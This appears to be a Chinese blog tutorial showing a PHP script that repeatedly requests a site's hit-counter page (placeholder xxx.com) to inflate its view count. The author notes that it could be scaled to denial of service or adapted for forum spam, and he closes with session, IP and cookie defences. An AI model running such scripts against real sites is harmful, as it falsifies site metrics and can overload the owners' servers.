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PHP实现自动刷数和“灌水”机

Jun 21, 2016 am 08:59 AM
access time url

  今天无意间看到一个网站,它的计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:

<div align=center><SPAN class=Article_tdbgall>
作者:未知 文章来源:Meidi.Net
点击数:
<script language=’javascript’ src=’/Article/GetHits.asp?ArticleID=759’></script>
更新时间:2005-5-27</SPAN>
</div>

  点击数后面是一个asp文件去处理的,那么我打开这个文件看看:

document.write(’210’);

  是吧,就是GetHists.asp文件处理ArticleID后提取结果后输出次数:document.write(’次数’),再静态页里就能够直接引用了。

  坏人终究是坏人,那么我就想,如何能够迅速提升点击数呢?手工刷新的话不是很类,恩,赶紧写个PHP程序来自动的去访问这个文件。

  PHP代码如下:

<?php
/* access_url.php */
define(SUM, 1000); //需要访问的次数
define(L_TIME, 1000); //强制脚本执行的时间
define(S_TIME, 1); //每次访问之间休眠的时间
$url = http://www.xxx.com/Article/GetHits.asp?ArticleID=759; //需要访问的地址
set_time_limit(L_TIME);

//访问指定URL函数
function access_url($url)
{
 if ($url==’’) return false;
 $fp = fopen($url, ’r’) or exit(’Open url faild!’);
 if ($fp) {
  while (!feof($fp)) {
   $file = fgets($fp);
   echo $file."\n<p> </p>\n";
  }
  unset($file);
 }
}

//进行测试
for ($i=0; $i<SUM; $i++) {
 access_url($url);
 sleep(S_TIME);
}
?>

  运行上面的程序,那么就会连续访问指定的URL地址,那么自然这个访问次数就会连续增加,达到灌水的效果。如果是流量大,而且用多程序去运行的话,那么很容易就会达到拒绝服务(DoS)的效果了。如果对方的防范措施,把代码修改一下针对论坛进行提交,很容易实现论坛灌水的效果。

  防范方法:

  1. 代码中使用Session机制,当用户提交的时候生成一个Session ID,提交内容的时候判断是否已经提交,如果已提交那么就不允许刷。

  2. 当用户提交以后记录用户的IP地址,如果指定时间内再提交的话就不允许再提交。

  3. 当用户提交内容以后,在用户客户端写入Cookie,如果用户再次提交先检查客户端是否有Cookie来确定是否允许提交。

  还有很多其他方法,可以去搜索一下,或者发挥自己的想象力,做的更好。



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